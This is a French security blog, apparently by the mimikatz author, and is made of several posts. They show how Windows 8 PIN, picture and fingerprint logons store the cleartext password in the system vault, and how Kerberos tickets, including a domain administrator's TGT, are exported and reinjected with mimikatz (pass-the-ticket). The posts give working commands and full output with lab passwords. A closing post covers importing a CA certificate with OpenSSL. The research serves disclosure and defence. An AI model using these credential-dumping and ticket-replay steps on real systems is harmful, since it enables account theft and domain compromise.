Windows 8, empreintes digitales

windows_fingerprints

Dans un post précédent j’abordais deux méthodes d’authentifications alternatives au mot de passe historique sous Windows 8.x ; le code pin ou l’image.

Mais Windows 8.x supporte maintenant nativement l’authentification biométrique, par exemple par empreinte digitale (http://technet.microsoft.com/library/dn344916.aspx).

logon_fingerprints

Windows n’implémente pas une réelle architecture d’authentification biométrique, il vérifie dans une base interne que l’empreinte figure bien dans son référentiel et… retourne le mot de passe utilisateur en clair…

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 23 2014 00:52:44)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : AUTORITE NT\Système

408     34205           AUTORITE NT\Système     S-1-5-18        (04g,20p)       Primary
 -> Impersonated !
 * Process Token : 1347551      win81\Utilisateur       S-1-5-21-650724876-2192615621-2148298248-1001   (14g,23p)       Primary
 * Thread Token  : 1354005      AUTORITE NT\Système     S-1-5-18        (04g,20p)       Impersonation (Delegation)

mimikatz # vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
        Name       : Informations d’identification Web
        Path       : C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
        Items (3)
          0.    PIN Logon Credential
                Type            : {b2e033f5-5fde-450d-a1bd-3791f465720c}
                LastWritten     : 23/01/2014 22:39:26
                Flags           : 00000000
                Ressource       : PIN Logon Vault Resource
                Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03 00 00
                Authenticator   :
                PackageSid      :
                Property  0     : 1234
                *Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

                *** Pin Logon ***
                User            : win81\Utilisateur
                Password        : waza1234/
                PIN Code        : 1234

          1.    WinBio CredProv Credential
                Type            : {fec87291-14f6-40b6-bd98-7ff245986b26}
                LastWritten     : 22/01/2014 23:53:14
                Flags           : 00000000
                Ressource       : WinBio CredProv Resource
                Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03 00 00
                Authenticator   :
                PackageSid      :
                Property  0     : 0c 00 00 00 0c 00 00 00 06 00 00 00 55 00 74 00 69 00 6c 00 69 00 73 00 61 00 74 00 65 00 75 00 72 00 00 00 77 00 69 00 6e 00 38 00 31 00 00 00
                *Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

                *** Biometric ***
                User            : win81\Utilisateur
                Password        : waza1234/
                Username [ 6]   : Utilisateur

          2.    Picture Password Credential
                Type            : {b4b8a12b-183d-4908-9559-bd8bce72b58a}
                LastWritten     : 22/01/2014 22:34:16
                Flags           : 00000000
                Ressource       : Picture Password Vault Resource
                Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03 00 00
                Authenticator   :
                PackageSid      :
                Property  0     : 02 00 00 00 56 00 00 00 39 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 2f 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00
                *Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

                *** Picture Password ***
                User            : win81\Utilisateur
                Password        : waza1234/
                Background path : C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-650724876-2192615621-2148298248-1001\ReadOnly\PicturePassword\background.png
                Picture password (grid is 150*100)
                 [0] circle (x =  86 ; y =  57 ; r =   8) - anticlockwise
                 [1] point  (x =  47 ; y =  46)
                 [2] point  (x = 125 ; y =  46)

Le mot de passe utilisateur est, une fois de plus, stocké dans le coffre du système…

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Pass the ticket

ms_kerberos
Le gardien des Enfers (Κέρϐερος) de Microsoft

mimikatz permettait la récupération de deux type de données d’authentification :

  • les hashs, réutilisables dans Windows via « Pass the hash »
  • les mots de passe, directement réutilisables dans Windows

Puis, un document très intéressant de Microsoft est apparu : http://www.microsoft.com/download/details.aspx?id=36036. Il nous apprend entre autres :

  • que les attaques par « Pass the hash » ont encore de très beaux jours devant elles ;
  • qu’il est normal de retrouver des mots de passe dans le processus LSASS ;
  • qu’à partir d’un environnement Windows 7, NTLM peut être désactivé sur un parc maitrisé et homogène (sécurité pour maquettes ;)

Mais ce document rappelle aussi que Kerberos reste autant vulnérable à l’extraction de données que les autres fournisseurs de sécurité…

Kerberos sous Windows, les bases

Kerberos repose sur l’utilisation de tickets, chiffrés, ayant des durées d’utilisation et de renouvellement prédéfinies.
Dans un environnement Windows, les secrets partagés restent les hash des comptes (!), la clé du KDC est le hash du compte krbtgt (http://msdn.microsoft.com/library/windows/desktop/aa378170.aspx).

Contrairement aux autres protocoles d’authentification, Kerberos fonctionne uniquement dans le cadre d’un domaine et en utilisant les noms de serveurs.
Voici un très bon schéma de Microsoft résumant l’authentification d’un client, l’obtention d’un TGT (Ticket Granting Ticket), la demande d’un ticket de service, et son utilisation.
Bb742516.kerb01_big
Source : http://technet.microsoft.com/library/bb742516.aspx

Il y a donc deux types de tickets intéressants :

  • les TGT – représentant les utilisateurs – ils permettent d’obtenir des Tickets de services auprès d’un TGS (Ticket Granting Service)
    [00000001] - 12
       Start/End/MaxRenew: 13/01/2014 01:13:30 ; 13/01/2014 11:13:30 ; 20/01/2014 01:13:30
       Server Name       : krbtgt/DOMAIN.LOCAL @ DOMAIN.LOCAL
       Client Name       : user2 @ DOMAIN.LOCAL
       Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

    TGT identifiant user2 sur le domain DOMAIN.LOCAL, valide pendant 10h00 et renouvelable pendant 1 semaine

    Par défaut, Windows ne permet pas leurs export aux utilisateurs (il remplacera la clé de session par une clé nulle, rendant son utilisation impossible).
    Un paramètre doit être positionné (allowtgtsessionkey) par un administrateur pour qu’un utilisateur puisse récupérer son TGT : http://support.microsoft.com/kb/308339

  • les Tickets de service : ils permettent d’accéder à une ressource (partage, service web, annuaire) sur un serveur précis
    [00000002] - 17
       Start/End/MaxRenew: 13/01/2014 01:15:48 ; 13/01/2014 11:13:30 ; 20/01/2014 01:13:30
       Server Name       : cifs/pc-81.domain.local @ DOMAIN.LOCAL
       Client Name       : user2 @ DOMAIN.LOCAL
       Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;

    Ticket de service identifiant user2 pour un service de partage (cifs) sur le serveur (pc-81.domain.local), valide pendant 10h00 et renouvelable pendant 1 semaine

    Cette fois ci, un utilisateur lambda peut récupérer ses propres tickets sans droits particuliers…

Manipulons les tickets

Via l’appel au Package d’authentification Kerberos (LsaCallAuthenticationPackage), Microsoft nous offre des structures permettant de manipuler les tickets Kerberos : http://msdn.microsoft.com/library/windows/desktop/aa378099.aspx.

Le message permettant d’injecter un ticket arbitraire de type KRB-CRED dans notre session est : KerbSubmitTicketMessage (celui ci n’est pas disponible sous XP ou 2003).
Il ne nécessite aucun droit particulier pour injecter des ticket dans notre propre session.

La récupération depuis le processus LSASS de tous les tickets, de toutes les sessions, et de toutes les clés nécessite en revanche les droits administrateurs ou SYSTEM (et dans ce cas le privilège Debug devient inutile)

  1. Récupérons tous les tickets sur un Terminal Server, ou une station sensible
    mimikatz # privilege::debug
    Privilege '20' OK
    
    mimikatz # sekurlsa::tickets /export
    
    Authentication Id : 0 ; 2747917 (00000000:0029ee0d)
    Session           : Interactive from 2
    User Name         : userlocaladmin
    Domain            : DOMAIN
    
            Tickets group 0
             [00000000]
               Start/End/MaxRenew: 13/01/2014 01:44:15 ; 13/01/2014 11:44:10 ; 20/01/2014 01:44:10
               Service Name (02) : LDAP ; dc-2012r2-x.domain.local ; domain.local ; @ DOMAIN.LOCAL
               Target Name  (02) : LDAP ; dc-2012r2-x.domain.local ; domain.local ; @ DOMAIN.LOCAL
               Client Name  (01) : userlocaladmin ; @ DOMAIN.LOCAL ( DOMAIN.LOCAL )
               Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
               Session Key  (12) : 6b 96 7b 29 70 03 a5 45 f6 e4 1a 25 5c a1 bf 0d 35 0a d5 db 86 ab 7e 5f be 67 3e f8 2b 05 d6 3d
               Ticket  (03 - 12) : [...]
               * Saved to file [0;29ee0d]-0-0-40a50000-userlocaladmin@LDAP-dc-2012r2-x.domain.local.kirbi !
     [...]
    
    Authentication Id : 0 ; 2628340 (00000000:00281af4)
    Session           : Interactive from 1
    User Name         : user1
    Domain            : DOMAIN
     [...]
    
    Authentication Id : 0 ; 1873488 (00000000:001c9650)
    Session           : Interactive from 3
    User Name         : Administrateur
    Domain            : DOMAIN
     [...]
            Tickets group 2
             [00000000]
               Start/End/MaxRenew: 13/01/2014 00:57:49 ; 13/01/2014 10:57:49 ; 20/01/2014 00:57:49
               Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
               Target Name  (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
               Client Name  (01) : Administrateur ; @ DOMAIN.LOCAL ( DOMAIN.LOCAL )
               Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
               Session Key  (12) : 76 7b db 67 1d 2e a7 8c a3 39 b5 12 a2 c1 27 cd ac 7d d9 04 20 fa a3 a8 2d 70 3e 9c 1e e3 3b d1
               Ticket  (02 - 12) : [...]
               * Saved to file [0;1c9650]-2-0-40e10000-Administrateur@krbtgt-DOMAIN.LOCAL.kirbi !

    Oui, cela fonctionne aussi avec les « minidumps ».
    Un Administrateur du domaine avait une session sur cette machine ;)

  2. Injectons, sur une autre machine ce TGT récupéré
    mimikatz # kerberos::ptt [0;1c9650]-2-0-40e10000-Administrateur@krbtgt-DOMAIN.LOCAL.kirbi
    Ticket '[0;1c9650]-2-0-40e10000-Administrateur@krbtgt-DOMAIN.LOCAL.kirbi' successfully submitted for current session

    Il suffit de demander la parcours d’un partage pour qu’un Ticket de service ad hoc soit demandé en se basant sur le TGT injecté.

h_kerb_tgt

Export de ses tickets de services sans être administrateur

En se limitant à l’utilisateur courant, les tickets de services pourront être exportés sans droits particuliers. Ils peuvent dans certains cas être intéressants (prêt d’une session, poste non verrouillé, …)

  1. Récupérons les tickets sur poste/serveur disposant de l’accès désiré (ici partage de fichier sur PC-81 au nom d’user2)
    mimikatz # kerberos::list /export
    
    [00000002] - 17
       Start/End/MaxRenew: 13/01/2014 01:15:48 ; 13/01/2014 11:13:30 ; 20/01/2014 01:13:30
       Server Name       : cifs/pc-81.domain.local @ DOMAIN.LOCAL
       Client Name       : user2 @ DOMAIN.LOCAL
       Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
       * Saved to file     : 2-40a10000-user2@cifs~pc-81.domain.local-DOMAIN.LOCAL.kirbi
  2. Injectons, sur une autre machine le ticket de service ainsi récupéré
    mimikatz # kerberos::ptt 2-40a10000-user2@cifs~pc-81.domain.local-DOMAIN.LOCAL.kirbi
    Ticket '2-40a10000-user2@cifs~pc-81.domain.local-DOMAIN.LOCAL.kirbi' successfully submitted for current session

h_kerb_service

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Windows 8, code PIN et mot de passe image

Avec l’arrivée de Windows 8 dans un monde de tablettes, certaines équipes de Microsoft ont dû réfléchir à la facilité de saisir des mots de passe tel que Tr0ub4dor&3 ou Tmb1W>r~ sur un clavier tactile limité.

Windows 8 introduit alors 2 nouveaux modes de connexions utilisateur :

  1. Connexion par code PIN
    pin_icon
  2. Connexion par mot de passe image
    picture_icon
    Quelques explications sur le fonctionnement du mot de passe image : http://blogs.msdn.com/b/b8/archive/2011/12/16/signing-in-with-a-picture-password.aspx

Hypothèse

Le fonctionnement interne de Windows, que ce soit la DPAPI, les authentifications réseau ou dans certains cas l’utilisation du compte Live, repose sur des dérivés du mot de passe réel du compte.
Il y a donc fort à parier que dans ce mode de fonctionnement, PIN ou mot de passe image, Windows stocke le mot de passe réel de l’utilisateur pour le réutiliser lors d’une ouverture de session véritable.

Création

Créons un code PIN (4567) :
create_pin
Ainsi qu’un mot de passe image :
create_picture

Investigation

Il n’y a pas à chercher très loin, une bonne partie des informations est disponible avec les outils de base :

C:\Windows\System32>whoami
autorite nt\système

C:\Windows\System32>vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
Informations d'identification du coffre : {4BF4C442-9B8A-41A0-B380-DD4A704DDB28}

Schéma d'informations d'identification : Picture Password Vault Resource Schema
Ressource : Picture Password Vault Resource
Identité : 010500000000000515000000A346DEFB5D8AA5A6422633BEE9030000
Enregistré par : Picture Password Credential
Caché : Non
Itinérance : Non
Propriété (ID d'élément de schéma, valeur) : (100,0200000039000000350000001700000001000000010000003D00000017000000590000002600000000000000690000000A0000000000000000000000)

Schéma d'informations d'identification : PIN Logon Vault Resource Schema
Ressource : PIN Logon Vault Resource
Identité : 010500000000000515000000A346DEFB5D8AA5A6422633BEE9030000
Enregistré par : PIN Logon Credential
Caché : Non
Itinérance : Non
Propriété (ID d'élément de schéma, valeur) : (100,4567)

Il suffit donc d’utiliser mimikatz pour emprunter l’identité du système puis de lire le contenu de son coffre :

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 11 2014 15:24:10)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name : 
SID name  : AUTORITE NT\Système

416	32204     	AUTORITE NT\Système	S-1-5-18	(04g,20p)	Primary
 -> Impersonated !
 * Process Token : 2550316   	windows-81\Administrateur	S-1-5-21-4225648291-2795866717-3191023170-500	(14g,23p)	Primary
 * Thread Token  : 2555077   	AUTORITE NT\Système	S-1-5-18	(04g,20p)	Impersonation (Delegation)

mimikatz # vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
	Name       : Informations didentification Web
	Path       : C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
	Items (2)
	  0.	Picture Password Credential
		Type            : {b4b8a12b-183d-4908-9559-bd8bce72b58a}
		LastWritten     : 11/01/2014 19:57:42
		Flags           : 00000000
		Ressource       : Picture Password Vault Resource
		Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 a3 46 de fb 5d 8a a5 a6 42 26 33 be e9 03 00 00 
		Authenticator   : 
		PackageSid      : 
		Property  0     : 02 00 00 00 39 00 00 00 35 00 00 00 17 00 00 00 01 00 00 00 01 00 00 00 3d 00 00 00 17 00 00 00 59 00 00 00 26 00 00 00 00 00 00 00 69 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 
		*Authenticator* : 54 00 72 00 30 00 75 00 62 00 34 00 64 00 6f 00 72 00 26 00 33 00 00 00 

		*** Picture Password ***
		User            : windows-81\Gentil Kiwi
		Password        : Tr0ub4dor&3
		Picture password (grid is 150*100)
		 [0] circle (x =  57 ; y =  53 ; r =  23) - clockwise
		 [1] line   (x =  61 ; y =  23) -> (x =  89 ; y =  38)
		 [2] point  (x = 105 ; y =  10)

	  1.	PIN Logon Credential
		Type            : {b2e033f5-5fde-450d-a1bd-3791f465720c}
		LastWritten     : 11/01/2014 18:46:40
		Flags           : 00000000
		Ressource       : PIN Logon Vault Resource
		Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 a3 46 de fb 5d 8a a5 a6 42 26 33 be e9 03 00 00 
		Authenticator   : 
		PackageSid      : 
		Property  0     : 4567
		*Authenticator* : 54 00 72 00 30 00 75 00 62 00 34 00 64 00 6f 00 72 00 26 00 33 00 00 00 

		*** Pin Logon ***
		User            : windows-81\Gentil Kiwi
		Password        : Tr0ub4dor&3
		PIN Code        : 4567

Vérification

Nous retrouvons bien le mot de passe « en clair », ainsi que le code PIN, et les indications de gestes avec le référentiel suivant :
password_reveal

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Oups, compte Microsoft et Windows 8.1 preview (en clair)

penguin_oups

Une bonne surprise d’un point de vue sécurité

Il semblerait que Microsoft ait (enfin) compris qu’il valait mieux ne pas conserver au même endroit :

  • des données chiffrées
  • les clés de déchiffrement
  • les routines de déchiffrement

Les mécanismes de protection de LSASS sous Windows 8.1 preview n’utilisent plus la CNG en mode utilisateur (process), mais en mode noyau :

  1. lsasrv!LsaProtectMemory
  2. crypt32!CryptProtectMemory
  3. dispatch ksecdd
  4. dispatch cng
  5. cng!CngEncryptMemory

Par ces mécanismes, LSASS peut chiffrer des données en s’assurant que celles-ci ne pourront pas être déchiffrées en dehors de son propre process.
L’API CryptProtectMemory est utilisée avec le flag CRYPTPROTECTMEMORY_SAME_PROCESS.

Cette fois, les clés de chiffrement sont générées avec certaines informations disponibles seulement en mode noyau (cookie, salt, heure de création, …).
Conséquence : les données ne peuvent être utilisées que depuis le même processus.

…ce n’est pas trop tôt, ces API étaient disponibles depuis Windows XP/2003 http://msdn.microsoft.com/magazine/cc163883.aspx#S2

Limites

Ces améliorations ont le mérite de protéger des dumps mémoire ou d’attaques sur LSASS par lecture de données et de clés.
Mais si notre code est exécuté dans le processus LSASS (injection de DLL ou autre), les mêmes clés sont utilisées, et le déchiffrement reste possible.

Surprise !

Il semblerait que Microsoft se donne du mal pour améliorer des routines sensibles et historiques…. mais ne les utilise pas toujours !

Windows 8.1 preview – provider LiveSSP

windows81_livessp
oui, le mot de passe est bien en clair en mémoire…

Windows 8 (« c’était mieux avant ») – provider LiveSSP

windows80_livessp
le mot de passe était bien chiffré précédemment…

Import d’un certificat d’autorité dans le service de certificats Microsoft

! Attention, cet article peut paraître totalement aberrant aux lecteurs connaissant les HSM !

Si vous avez généré votre biclé sur un système tiers plutôt que sur le serveur d’autorité Microsoft, il va falloir l’importer lors de l’installation ou du renouvellement…
Si certains messages d’erreurs lors de cet import peuvent être explicites, d’autres sont plus déconcertants :
import_p12
Le certificat sélectionné n’a pas pu être utilisé

Ou lors de l’import dans la console de certificats :
import_re_p12
ASN1 fin de données inattendue. 0x80093102 (ASN: 258)

Pourtant ce certificat peut très bien être utilisé par l’autorité…
Malgré ce Windows trop sur de lui, ce n’est pas le certificat qui ne peut être utilisé, mais le conteneur PKCS#12 qui ne contient pas les données attendues par le service…

Voici les attributs de clé contenu dans notre « P12 », précédemment généré par OpenSSL, xca ou autres logiciels cryptographique digne de ce nom :

Offset| Len  |LenByte|
======+======+=======+======================================================================
  4195|    62|      1| SET : 
  4197|    23|      1|    SEQUENCE : 
  4199|     9|      1|       OBJECT IDENTIFIER : friendlyName [1.2.840.113549.1.9.20]
  4210|    10|      1|       SET : 
  4212|     8|      1|          BMP STRING : 'acms'
  4222|    35|      1|    SEQUENCE : 
  4224|     9|      1|       OBJECT IDENTIFIER : localKeyID [1.2.840.113549.1.9.21]
  4235|    22|      1|       SET : 
  4237|    20|      1|          OCTET STRING : 
      |      |       |             9A499BFB3E6AACE88638381E253C15190BC16FDD

ou via OpenSSL :

Bag Attributes
    friendlyName: acms
    localKeyID: 9A 49 9B FB 3E 6A AC E8 86 38 38 1E 25 3C 15 19 0B C1 6F DD 
Key Attributes: <No Attributes>

Pour n’importe quel autre logiciel cryptographique, cela suffirait amplement…. mais non, Microsoft semble rester sur sa faim avec ce P12…
Reconstruisons un autre avec le même certificat, la même clé, mais avec d’autres attributs :

  • Local Machine Keyset (-LMK)
  • Cryptographic Service Providers (-CSP x)
  • Friendly Name (-name)

Le fichier .p12 est conservé, un nouveau .pfx est créé.

openssl pkcs12 -password pass:XXXX -in acms.p12 -out acms.pem -clcerts -nodes
openssl pkcs12 -in acms.pem -password pass:XXXX -out acms.pfx -name "ac ms" -CSP "Microsoft Software Key Storage Provider" -LMK -export

Remarques :

  • ne pas oublier de supprimer minutieusement le fichier acms.pem
  • Le fournisseur « Microsoft Software Key Storage Provider » n’est disponible que sous NT 6, il doit malheureusement être remplacé par « Microsoft Enhanced RSA and AES Cryptographic Provider » avant

Voici les nouveaux attributs de clé :

Offset| Len  |LenByte|
======+======+=======+======================================================================
  4195|   174|      2| SET : 
  4198|    13|      1|    SEQUENCE : 
  4200|     9|      1|       OBJECT IDENTIFIER :  [1.3.6.1.4.1.311.17.2]
  4211|     0|      1|       SET : ''
  4213|    25|      1|    SEQUENCE : 
  4215|     9|      1|       OBJECT IDENTIFIER : friendlyName [1.2.840.113549.1.9.20]
  4226|    12|      1|       SET : 
  4228|    10|      1|          BMP STRING : 'ac ms'
  4240|    35|      1|    SEQUENCE : 
  4242|     9|      1|       OBJECT IDENTIFIER : localKeyID [1.2.840.113549.1.9.21]
  4253|    22|      1|       SET : 
  4255|    20|      1|          OCTET STRING : 
      |      |       |             9A499BFB3E6AACE88638381E253C15190BC16FDD
  4277|    93|      1|    SEQUENCE : 
  4279|     9|      1|       OBJECT IDENTIFIER : szOID_LOCAL_MACHINE_KEYSET [1.3.6.1.4.1.311.17.1]
  4290|    80|      1|       SET : 
  4292|    78|      1|          BMP STRING : 
      |      |       |             'Microsoft Software Key Storage Provider'

ou via OpenSSL :

Bag Attributes
    Microsoft Local Key set: <No Values>
    friendlyName: ac ms
    localKeyID: 9A 49 9B FB 3E 6A AC E8 86 38 38 1E 25 3C 15 19 0B C1 6F DD 
    Microsoft CSP Name: Microsoft Software Key Storage Provider
Key Attributes: <No Attributes>

Cette fois, le PFX est correctement importé et utilisable. Le cas échéant, il faudra aller supprimer l’ancien certificat déjà importé.